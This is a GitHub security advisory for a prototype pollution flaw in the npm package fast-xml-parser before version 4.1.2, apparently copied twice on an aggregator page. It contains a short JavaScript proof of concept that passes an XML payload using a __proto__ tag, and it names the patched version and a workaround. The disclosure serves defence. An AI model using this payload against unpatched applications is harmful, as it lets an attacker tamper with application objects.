Headline
GHSA-x3cc-x39p-42qx: fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name
Impact
As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
Patches
The problem has been patched in v4.1.2
Workarounds
User can check for "proto" in the XML string before parsing it to the parser.
References
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
Package
npm fast-xml-parser (npm)
Affected versions
< 4.1.2
Patched versions
4.1.2
Description
Impact
As a part of this vulnerability, user was able to se code using proto as a tag or attribute name.
const { XMLParser, XMLBuilder, XMLValidator} = require(“fast-xml-parser”);
let XMLdata = “<__proto__><polluted>hacked</polluted></__proto__>”
const parser = new XMLParser(); let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
Patches
The problem has been patched in v4.1.2
Workarounds
User can check for "proto" in the XML string before parsing it to the parser.
References
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
References
- GHSA-x3cc-x39p-42qx
- NaturalIntelligence/fast-xml-parser@2b032a4
- https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
amitguptagwl published to NaturalIntelligence/fast-xml-parser
Jun 11, 2023
Published to the GitHub Advisory Database
Jun 13, 2023
Reviewed
Jun 13, 2023
Last updated
Jun 13, 2023
Related news
fast-xml-parser before 4.1.2 allows __proto__ for Prototype Pollution.